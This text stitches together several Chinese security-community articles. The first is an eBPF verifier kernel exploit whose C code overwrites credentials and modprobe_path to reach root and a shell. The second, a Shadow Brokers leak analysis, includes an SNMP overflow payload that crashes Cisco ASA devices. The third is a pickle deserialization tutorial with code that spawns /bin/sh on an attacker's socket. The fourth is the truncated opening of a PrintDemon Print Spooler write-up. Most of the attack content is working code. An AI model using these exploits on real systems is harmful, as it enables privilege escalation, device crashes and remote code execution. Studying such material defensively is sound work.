printf("[+] leak modprobe path kbase: 0x%lx\n", modprobe_path);
ctrlbuf[0] = 2;
infoleak();
size_t stack_fp = leakbuf[0];
size_t current_address = stack_fp & ~(0x4000 - 1);
printf("[+] leak stack fp: 0x%lx\n", stack_fp);
ctrlbuf[0] = 3;
ctrlbuf[1] = current_address;
infoleak();
size_t task_struct_address = leakbuf[0];
printf("[+] task struct address: 0x%lx\n", task_struct_address);
size_t cred_ptr_address = task_struct_address + 0x5b0;
ctrlbuf[0] = 3;
ctrlbuf[1] = cred_ptr_address;
infoleak();
size_t cred_address = leakbuf[0];
printf("cred address is 0x%lx\n", cred_address);
size_t uid_address = cred_address + 4; // uid and gid cost 4 bytes, so we can just write 8bytes to overwrite them.
ctrlbuf[0] = 4;
ctrlbuf[1] = uid_address;
ctrlbuf[2] = 0;
getchar();
update_elem_ctrl();
debugmsg();
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
printf("something wrong\n");
}
}
### 覆写modprobe_path
申请两个map，然后通过第一个map的越界读取第二个map的ops进而泄漏出kernel base。
接着覆写modprobe_path以root权限执行任意的脚本。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include "bpf.h"
char buffer[64];
int sockets[2];
int ctrl_mapfd;
int vuln_mapfd;
size_t ctrlmap_ptr;
size_t vulnmap_ptr;
size_t leakbuf[0x100];
size_t ctrlbuf[0x100];
size_t kbase;
size_t pivot_esp;
size_t modprobe_path;
unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;
struct message
{
long type;
char text[0x800];
} msg;
void msg_alloc(int id, int size)
{
if (msgsnd(id, (void *)&msg, size - 0x30, IPC_NOWAIT) < 0)
{
perror(strerror(errno));
exit(1);
}
}
void heap_spray()
{
int msqid;
msg.type = 1;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
{
perror(strerror(errno));
exit(1);
}
for (int i = 0; i < 0x17; ++i)
{
msg_alloc(msqid, 0x200);
}
}
void get_shell()
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
void update_elem_ctrl()
{
int key = 0;
if (bpf_update_elem(ctrl_mapfd, &key, ctrlbuf, 0))
{
printf("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void get_elem_ctrl()
{
int key = 0;
if (bpf_lookup_elem(ctrl_mapfd, &key, leakbuf))
{
printf("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
}
void debugmsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
int load_prog()
{
// make bpf_map alloc to new page, in order to leak heap pointer stablly
// heap_spray();
// size == 0x100, useful to set data on bpfarray
ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (ctrl_mapfd < 0)
{
puts("failed to create map1");
return -1;
}
printf("create first map finished %p\n", ctrl_mapfd);
// size*count should be the same as ctrl_map
vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
if (vuln_mapfd < 0)
{
puts("failed to create map2");
return -1;
}
printf("create vuln map finished %p\n", vuln_mapfd);
// sizeof(struct bpf_array) == 0x200
// offset of bpf_array.value == 0x90
struct bpf_insn prog[] =
{
// DW == 8bytes
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8), // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10), // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4), // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
//opcode = 4 ab write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
printf("call ing prog load fun\n");
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
void infoleak()
{
update_elem_ctrl();
printf("update elem ctrl finished\n");
debugmsg();
get_elem_ctrl();
printf("get elem ctrl finished\n");
// debugmsg();
}
void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_stack), "=r"(user_rflags)
:
: "memory");
}
int main()
{
save_state();
signal(SIGSEGV, get_shell);
system("/bin/mkdir /tmp");
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
int progfd = load_prog();
printf("load prog finished \n");
if (progfd < 0)
{
printf("log:\n%s", bpf_log_buf);
if (errno == EACCES)
printf("failed to load prog '%s'\n", strerror(errno));
}
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
strerror(errno);
return 0;
}
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
strerror(errno);
return 0;
}
ctrlbuf[0] = 0;
ctrlbuf[1] = 0x1c0;
infoleak();
// kbase = leakbuf[2] - 0xa12100;
kbase = leakbuf[0] - 0xa13e60;
pivot_esp = kbase + 0x6ec938;
modprobe_path = kbase + 0xe3cb00;
printf("[+] leak kernel kbase: 0x%lx\n", kbase);
printf("[+] leak modprobe path kbase: 0x%lx\n", modprobe_path);
// ctrlbuf[0] = 0x570 * 2;
ctrlbuf[0] = 4;
ctrlbuf[1] = modprobe_path;
ctrlbuf[2] = 0x612f706d742f;
update_elem_ctrl();
debugmsg();
system("/tmp/ll");
}
## patch
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 625e358ca765e..c086010ae51ed 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -2408,7 +2408,13 @@ static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = SCALAR_VALUE;
- __mark_reg_known(regs + insn->dst_reg, insn->imm);
+ if (BPF_CLASS(insn->code) == BPF_ALU64) {
+ __mark_reg_known(regs + insn->dst_reg,
+ insn->imm);
+ } else {
+ __mark_reg_known(regs + insn->dst_reg,
+ (u32)insn->imm);
+ }
}
} else if (opcode > BPF_END) {
__mark_reg_known函数的参数为u64，那么32位的有符号数进入到__mark_reg_known函数之前首先被转换为了u32也就是无符号函数，因此这里就不存在符号扩展的问题了。
__mark_reg_known函数的commit部分没有找到，
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;
} | 社区文章 |
# 8月19日：Shadow-Brokers所泄露文件的介绍、技术分析（上）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01 曝光的数据与方程式和NSA的关系**
从泄露数据包所解压出的内容看，是专门针对防火墙设备进行攻击和渗透行动时所使用的工具集。据数据曝光者Shadow
Brokers所描述，这个数据包是来自于著名国家级APT攻击团队——方程式组织(Equation
Group)。该组织具信受雇于美国国家安全局(NSA),对外发动过多次著名的国家级APT攻击，包括震网(stuxnet)、Regin、Flame等攻击。从文件中所包含有”JETPLOW“,”BANANALEE“等文件名和文件夹关键字信息,
也与之前斯诺登所曝光的NSA网络攻击内部资料的防火墙(FIREWALL)章节内容所相符:
下图为斯诺登报出的NSA网络攻击的一节内容:
(JETPLOW是专门针对Cisco PIX和ASA系列防火墙固件进行持久化植入的工具，可以将持久化控制软件BANANAGLEE植入到设备中)
(BANANAGLEE可以认为是一个持续控制后门(Persistent Backdoor)攻击框架, 通过植入和篡改Cisco防火墙OS文件,
实现对Cisco防火墙入侵后的持续控制)
通过各安全研究人员对工具集当中攻击工具的成功验证, 基本上确定了这些数据包是从NSA有关联的方程式组织(Equation Group)泄露的可能性;
**0x02 工具包所包含内容的分析:**
文件夹下的目录信息
**padding 文件**
大小19M, 使用binwalk对文件进行分析后发现有Cisco IOS特征,推测应该是Cisco IOS平台的OS文件,可能是在攻击行为中留下了的;
root@kali:~/Documents/test/Firewall# binwalk padding
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 10909743 0xA6782F Cisco IOS experimental microcode for ""
**SCRIPTS/ 目录**
该应该是攻击行动执行组(OPS)在攻击过程中的笔记和一些攻击工具的使用方法笔记; 文件的最后修改时间为2013年6月份;
(文件名称和内容描述)
其中:
Bookishmute.txt
文件为一次针对TOPSEC防火墙的攻击记录笔记。记录中出现的IP地址159.226.209.125为中国科学网的IP，怀疑该OPS小组有对中国相关组织进行过攻击;
**TOOLS/ 目录**
主要用来存放一些进行渗透行动(OPS)时所经常用到的工具;
**OPS/ 目录**
进行攻击行动(OPS)时的自动化工具集合
**BUZZDIRECTION/ 目录**
针对Fortinet的持久化植入和控制工具集合
**BANANAGLEE 目录:**
是针对ASA和PIX设备的可持续控制功能, 目的是在获取防火墙权限后,能够实现对设备的持久控制, 并根据不通模块完成对应的任务;
如任意流量调度，对感兴趣的流量进行监听等。
**EXPLOIT/ 目录**
利用防火墙设备的漏洞,实现对不同防火墙(ASA,PIX,NETSCREE,TOPSEC,Fortinet)的”破门”,以期望达到获取防火墙控制权限的目的;
从整个文件中的目录结构和内容信息来分，可以大体上分为三类:
一类为脚本,记录和自动化工具文件, 主要分布在OPS,SCRIPTS,TOOLS目录下;
第二类为利用漏洞进行破门的工具, 主要是EXPLOIT目录,针对不同的目标,攻击程序在不同的子文件夹中;
第三类是为了能对目标防火墙设备持续控制和进行有目的的信息采集,而准备的工程化工具,主要集中在BANANAGLEE,BARGLEE,BLASTING,BUZZDIRECTION目录下;
**0x03 漏洞利用分析**
从攻击的代码看, 针对TOPSEC所使用漏洞类型,为防火墙通过web所提供的管理界面中存在的漏洞,一个是HTTP Cookie command
injection漏洞, 一个是HTTP POST 命令注入漏洞; Fortigate防火墙则是由于HTTP cookie溢出而存在漏洞。
目前完成验证的则是EXTRA BACON工具集中, 所使用的影响ASA
8.0-8.4版本的[SNMP溢出漏洞](http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp);
当一台ASA设备配置了snmp口令比较弱或被泄露, 那么攻击者可以从ASA允许的snmp-server上通过精心构造的snmp溢出数据包,
实现对ASA设备telnet和ssh登陆密码验证的绕过;
攻击视频为: <http://v.youku.com/v_show/id_XMTY4NzgxNTM0MA==.html>
通过分析攻击工具所构造的的数据信息发现,能够实现针对ASA设备溢出攻击的有效SNMP串, 可以造成ASA设备的crash。
能造成ASA设备重启的SNMP代码如下:
snmpwalk -v 2c -t 1 -r 0 -c $community $target_ip 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.64.28.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.88.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.216.1.0.0.4.51.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.253.13.54.9.139.124.36.20.139.7.255.224.144
**造成Crash的ASA信息如下:**
Cisco Adaptive Security Appliance Software Version 8.2(5)
Compiled on Fri 20-May-11 16:00 by builders
Hardware: ASA5505
Crashinfo collected on 02:45:02.149 UTC Tue Aug 16 2016
Traceback:
0: 0x805e2d3
1: 0x805ede7
2: 0x8a63c84
3: 0xdd6aa6d5
4: 0xdd57d1e0
5: 0xc9a647f8
6: 0xc9bbb648
Stack dump: base:0x0xc9a646b4 size:351267, active:351267
entries above '==': return PC preceded by input parameters
entries below '==': local variables followed by saved regs
'==Fn': stack frame n, contains next stack frame
'*': stack pointer at crash
For example:
0xeeeeef00: 0x005d0707 : arg3
0xeeeeeefc: 0x00000159 : arg2
0xeeeeeef8: 0x005d0722 : arg1
0xeeeeeef4: 0x005d1754 : return PC
0xeeeeeef0: 0xeeeeef20 ==F2: stack frame F2
0xeeeeeeec: 0x00def9e0 : local variable
0xeeeeeee8: 0x0187df9e : local variable or saved reg
0xeeeeeee4: 0x01191548 : local variable or saved reg ciscoasa#
Thread Name: snmp
Page fault: Address not mapped
vector 0x0000000e
edi 0x0f0f0f0b
esi 0x00000000
ebp 0xc9a647b4
esp 0xc9a64738
ebx 0x00000010
edx 0xc9a6472c
ecx 0xc911d4e8
eax 0x023d0d4c
error code 0x00000004
eip 0xc9bbae4a
cs 0x00000073
eflags 0x00013203
CR2 0x023d0d68
**
**
**0x04 持续化后门程序分析**
待续
**
**
**0x05 总结**
通过对目前所掌握的Shadow-brokers所泄露出文件的分析,可以得到如下结论:
1.是专门执行对防火墙(Firewall)设备进行渗透攻击,并高度集成的攻击工具集;
2.该工具集覆盖了国内外使用比较广泛的防火墙产品;
3.破门攻击(利用漏洞获取防火墙权限)时所使用的设备软件漏洞,需要对设备漏洞进行主动的挖掘才能获取;
4.准确可靠的漏洞利用程序(EXPLOIT)说明安全技术达到了极高的水平,有专门人员从事对网络设备安全的研究;
5.获取目前权限后的持续控制和隐秘, 攻击方基本上已经形成了框架和比较统一的思路; | 社区文章 |
# 误用Python “pickle”模块导致exploit
如果使用Python编程，你可能会对`pickle`序列化库有印象。它的主要功能是有效提供二进制数据的序列化以及Python数据类型的加载。你也可能注意到`pickle`官方手册开头给出的警告：
Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.（警告：pickle模块不能防止错误或恶意构造的数据。 不要解压从不受信任或未经身份验证的来源所收到的数据。）
近来，我遇到了一个可以接收不受信任的网络数据并将其进行`pickle`解压的项目。并且在进行调查后，我发现只有少部分的朋友知道可以很轻松的攻击此类服务以获得权限。因此，本篇文章主要是通过一个简化版的示例来描述攻击此类服务有多容易。这篇文章没有太多的创新点，但是如果你之前没有碰过此类情景的话，应该会觉得很有趣。
## 目标
漏洞代码是一个[Twisted](https://twistedmatrix.com/trac/)服务代码，它通过SSL实现监听。漏洞代码简化如下：
class VulnerableProtocol(protocol.Protocol):
def dataReceived(self, data):
"""
Code to actually parse incoming data according to an internal state machine If we just finished receiving headers, call verifyAuth() to check authentication
"""
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
如果我们使用以下的格式发送的代码，服务器就会将数据直接进行解压：
AuthToken: <pickle here>
## 代码执行
我们可以使用这段代码来干什么？`pickle`允许我们用数据表示任意对象。一个很容易想到的目标就是`subprocess.Popen`对象，如果我们可以欺骗目标去实例化这个对象，那么我们就可以获得任意命令执行。为了实现这个目的，我们不能简单的创建一个`Popen`对象，然后使用`pickle`去压缩它。因为各种原因，它并不能成功。还有一种方法是去阅读`pickle`数据的格式，然后手工去构造一个数据流，但是经过实践证明也没有这个必要。
`pickle`允许任意对象通过定义`__reduce__`方法来声明它是如何被压缩的，一般来说这个方法是返回一个字符串或是一个元祖，用来描述对象在被解压缩之时如何重构对象。比较简单的该方法的元祖需要包括以下性质：
* 回调函数（是一个类或者满足一些其他的约束）
* 调用之时所包含的参数元祖
`pickle`会在解压数据时，将这些片段参数组合起来，再调用回调函数来重构新的对象。
因此我们可以构造一个`pickle`数据对象，使得该对象在解压市，执行`/bin/sh`，代码如下：
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
## 获得远程shell
写到这里，已经基本结束了。我们已经可以在目标上执行任意命令，当然也有很多方式来获得一个交互式的shell。
为了使文章更完整，我将会阐述我是如何通过一个比较有趣的技巧来具体实现获得交互式shell的。`subprocess.Popen`库允许我们通过参数的传递，将新进程的标准输入、输出以及错误句柄重定向到任意文件描述符，通过这个方式我们可以重定向`/
bin/sh`的句柄到任意的文件描述符上。
但是还有一个问题，那就是前面提到过的：目标服务器使用Twisted，它使用异步事件驱动模型来为同一线程中的所有请求提供服务。
我们无法预测服务器上的哪个文件描述符将与我们的套接字相对应，它取决于连接的其他客户端数量。
解决的方法是：这也意味着每次我们连接到服务器时，我们都会在同一服务器进程中打开一个新的套接字。 我们猜测服务器目前的并发连接数少于20个。
如果我们创建20次到服务器的套接字连接，就会在服务器中打开20个新的文件描述符。
进程中的文件描述符是按顺序分配的，所以其中有一个肯定是20。我们就可以生成一个`pickle`数据，然后发送以顺利获得shell：
import cPickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
fd = 20
return (subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd # std{in,out,err}
))
print base64.b64encode(cPickle.dumps(Exploit()))
我们使用文件描述符20来创建一个新的`/bin/sh`进程，这个描述符应该会是我们创建的20个连接中的一个。如果一切顺利，我们会看到一个提示符打印到其中一个连接。我们在该句柄上发送一些垃圾数据，直到让原始服务器出错并关闭连接，然后我们将通过套接字与`/bin/sh`交互。至此，游戏结束。
## 小结
这里的任何内容都不应该是新颖的，我也不期望任何的这些内容能够让一个能干的黑客花费很长的时间来弄明白。
但是，如果这篇博客文章能够使得看到的人不在不受信任的数据上使用`pickle`，这就是值得的。
## 原文
链接：[Exploiting misuse of Python's
"pickle"](https://github.com/zst123/tamuctf-2019-writeups/tree/master/Solved/VeggieTales) | 社区文章 |
# PrintDemon：详解Print Spooler中的权限提升及持久化技术（Part 1）
##### 译文声明
本文是翻译文章，文章原作者 windows-internals，文章来源：windows-internals.com
原文地址：<https://windows-internals.com/printdemon-cve-2020-1048/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面我们已经与大家分享过FaxHell相关技术细节，随着微软在周二补丁日例行发布安全公告后（包括[`CVE-2020-1048`](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048)的补丁），现在我们可以与大家继续分享[Windows Print
Spooler](https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler)的技术细节，以及如何利用Print Spooler来实现权限提升、绕过EDR规则、实现持久化等。Print
Spooler目前仍是最古老的Windows组件之一，从Windows NT
4以来基本没有什么变化。即使曾经被Stuxnet（震网）病毒滥用过（使用过我们即将与大家一起分析的一些API），Print
Spooler仍然没有经过特别全面的审查。之前有个第三方研究团队首先[分析](http://blog.ismaelvalenzuela.com/wp-content/uploads/2009/11/my_erp_got_hacked_1.pdf)过Print
Spooler，发现了微软未发现过的利用点，最终被Stuxnet幕后团队所使用。
## 0x01 背景知识
虽然我们比较喜欢深入分析Windows组件的各种精妙之处，但还是想尽量保证简洁性，只重点关注这些问题的严重性，分析如何简单滥用/利用这些问题，同时也会给防御方提供一些小建议。
首先我们来简单看一下打印过程，这里我们并不会讨论监视器、服务提供程序或者处理器，只讨论最基础的打印流程。
首先，打印机必须至少具备两个元素：
1、打印机端口：之前是`LPT1`，现在是USB口或者`TCP/IP`端口（以及地址）。
> 某些人可能知道还存在`FILE:`形式，这意味着打印机可以将内容打印到文件（Windows 8及以上系统为`PORTPROMPT:`）。
2、打印机驱动：之前这是一个内核模式组件，在新的`V4`模型下，十多年来已改成用户模式下工作。
由于`Spooler`服务（在`Spoolsv.exe`中实现）以`SYSTEM`权限运行，并且网络可达，因此这两个元素成功吸引了许多人的注意，尝试发起所有有趣的攻击，包括：
1、希望`Spooler`能将文件[打印](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3239)到某个特权位置；
2、[加载](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/ms16-087?redirectedfrom=MSDN)恶意的“打印机驱动”；
3、通过`Spooler` RPC API远程投放文件；
4、从远程系统注入“打印机驱动”；
5、[滥用](https://www.exploit-db.com/exploits/43465)EMF/XPS
spooler文件中的文件解析bug来获得代码执行权限。
以上大多数尝试的确发现过bug，微软也针对某些bug加强了防御措施。即便如此，系统中还是存在不少逻辑问题，有些甚至是设计上的缺陷，会导致出现一些有趣的行为。
回到我们的话题，为了滥用打印机，我们首先必须加载一个打印机驱动。正常情况下，大家都会认为这需要高权限才能执行，并且有些MSDN页面还提示我们需要[`SeLoadDriverPrivilege`](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants)。然而从Vista开始，为了便于普通用户账户操作（并且现在会在用户模式下运行），因此实际情况会比较复杂。只要目标驱动是预先存在的内置驱动，我们不需要特权就能安装打印机驱动。
我们先来安装最简单的一个驱动：`Generic / Text-Only`驱动。（以普通用户权限）打开PowerShell窗口，然后输入：
Add-PrinterDriver -Name "Generic / Text Only"
接着枚举已安装的驱动：
> Get-PrinterDriver
Name PrinterEnvironment MajorVersion Manufacturer
---- ------------------ ------------ ------------ Microsoft XPS Document Writer v4 Windows x64 4 Microsoft
Microsoft Print To PDF Windows x64 4 Microsoft
Microsoft Shared Fax Driver Windows x64 3 Microsoft
Generic / Text Only Windows x64 3 Generic
如果想用C语言来完成，也可以使用如下语句：
hr = InstallPrinterDriverFromPackage(NULL, NULL, L"Generic / Text Only", NULL, 0);
接下来是将新打印机与某个端口绑定。这里比较有趣的是（官方没有详细说明）：端口也可以使用文件，并且这与“打印到文件”有所不同。此时是一个文件端口，这是完全不同的一个概念。我们只需要在PowerShell中使用如下一行命令就可以（这里我们用的是全局可写的一个目录）：
Add-PrinterPort -Name "C:\windows\tracing\myport.txt"
获取打印机端口：
> Get-PrinterPort | ft Name
Name
---- C:\windows\tracing\myport.txt
COM1:
COM2:
COM3:
COM4:
FILE:
LPT1:
LPT2:
LPT3:
PORTPROMPT:
SHRFAX:
如果想用C来完成，我们可以有两种选择。我们可以使用[`AddPortW`](https://docs.microsoft.com/en-us/windows/win32/printdocs/addport)
API，弹出窗口要求用户输入端口名。我们并不需要设计GUI，可以传入`NULL`作为`hWnd`参数的值，当用户创建端口后，程序才会解除阻塞状态。UI如下所示：
另一种方法是使用[`XcvData`](https://docs.microsoft.com/en-us/previous-versions/ff564255\(v%3Dvs.85)) API来手动复制以上窗口的逻辑，如下所示：
PWCHAR g_PortName = L"c:\\windows\\tracing\\myport.txt";
dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
XcvData(hMonitor,
L"AddPort",
(LPBYTE)g_PortName,
dwNeeded,
NULL,
0,
&dwNeeded,
&dwStatus);
这里比较复杂的是获取`hMonitor`，需要一些神秘知识：
PRINTER_DEFAULTS printerDefaults;
printerDefaults.pDatatype = NULL;
printerDefaults.pDevMode = NULL;
printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
OpenPrinter(L",XcvMonitor Local Port", &hMonitor, &printerDefaults);
以上代码中存在`ADMINISTER`字样，因此大家可能会觉得需要`Administrator`权限，但事实并非如此：任何人都可以添加端口。不过如果我们传入不具备访问权限的路径，将会得到“访问被拒绝”错误。稍后我们再讨论这一点。
代码处理完毕后，别忘了调用`ClosePrinter(hMonitor)`。
现在我们已经拿到了一个端口和一个打印机驱动，我们只需要利用这两个元素就能创建并绑定一个打印机。这个过程同样不需要特权用户，只需要如下一行PowerShell命令：
Add-Printer -Name "PrintDemon" -DriverName "Generic / Text Only" -PortName "c:\windows\tracing\myport.txt"
然后使用如下语句来检查效果：
> Get-Printer | ft Name, DriverName, PortName
Name DriverName PortName
---- ---------- -------- PrintDemon Generic / Text Only C:\windows\tracing\myport.txt
对应的C代码如下：
PRINTER_INFO_2 printerInfo = { 0 };
printerInfo.pPortName = L"c:\\windows\\tracing\\myport.txt";
printerInfo.pDriverName = L"Generic / Text Only";
printerInfo.pPrinterName = L"PrintDemon";
printerInfo.pPrintProcessor = L"WinPrint";
printerInfo.pDatatype = L"RAW";
hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
拿到打印机句柄后，我们可以开始思考该句柄的用途。此外，知道打印机名称后，我们可以使用[`OpenPrinter`](https://docs.microsoft.com/en-us/windows/win32/printdocs/openprinter)来获取打印机句柄。
最后一步就是执行打印操作，在PowerShell中也只需要一条命令：
"Hello, Printer!" | Out-Printer -Name "PrintDemon"
然而如果我们查看文件内容，会看到一些奇怪的数据：
0D 0A 0A 0A 0A 0A 0A 20 20 20 20 20 20 20 20 20
20 48 65 6C 6C 6F 2C 20 50 72 69 6E 74 65 72 21
0D 0A …
如果在Notepad中打开，我们能更直观地了解这些数据：PowerShell认为这是一个真实的打印机，因此会按照Letter或（A4）格式来设定边距，在顶部添加几个新行，然后在字符串左侧留出左边距。
我们可以在C语言中控制具体行为，但通常Win32应用都会以这种方式来打印，因为这些应用都认为这是真实的打印机。
那么在C语言中如何实现相同的效果呢？我们有两种选择，这里我们介绍的是更加简单也更常用的方法：使用[GDI](https://docs.microsoft.com/en-us/windows/win32/printdocs/writeprinter) API，在内部创建一个打印任务，处理我们的payload。
DOC_INFO_1 docInfo;
docInfo.pDatatype = L"RAW";
docInfo.pOutputFile = NULL;
docInfo.pDocName = L"Document";
StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo);
PCHAR printerData = "Hello, printer!\n";
dwNeeded = (DWORD)strlen(printerData);
WritePrinter(hPrinter, printerData, dwNeeded, &dwNeeded);
EndDocPrinter(hPrinter);
现在文件内容将会简单存储我们提供的字符串。
总结一下，现在我们了解了一些简单的非特权PowerShell命令以及作用相同的C代码，我们可以假装创建一个打印机，向文件系统中写入数据。下面我们可以使用Process
Monitor了解幕后的具体操作。
## 0x02 文件写入
来看一下当运行这些命令后系统会执行哪些操作。我们跳过驱动的“安装”过程（该过程涉及一大堆PnP以及Windows服务栈操作），从添加端口开始观察：
从图中可知：打印机端口实际上是注册表值，路径为`HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Ports`。显然，只有特权用户才能写入该键值，但`Spooler`服务通过RPC帮我们完成该操作，调用栈如下所示：
打印机创建过程如下：
这里主要操作依然涉及到注册表。注册表中的打印机如下所示，注意其中的`Port`值，对应的是我们的文件路径。
接着观察打印文档时PowerShell命令的处理过程。涉及到的文件系统完整活动如下所示（这里不再涉及到注册表），其中我们标出了比较有趣的部分操作：
启用spooling后，打印数据并没有直接发送到打印机。此时任务处于假脱机状态（spooled），最终导致系统创建一个spool文件。默认情况下，该文件位于`c:\windows\system32\spool\PRINTERS`目录中，但实际上对于每个系统和每个打印机，这个值都可以自定义（这是值得深入分析的一个点）。
默认情况下，对于EMF打印操作，文件名为`FPnnnnn.SPL`，对于RAW打印操作，文件名为`nnnnn.SPL`。`SPL`文件本质上是发送给打印机的所有数据的一个副本，换句话说，该文件中只包含`Hello,
printer!`字符串。
还有个更有趣的“影子作业文件”（shadow job
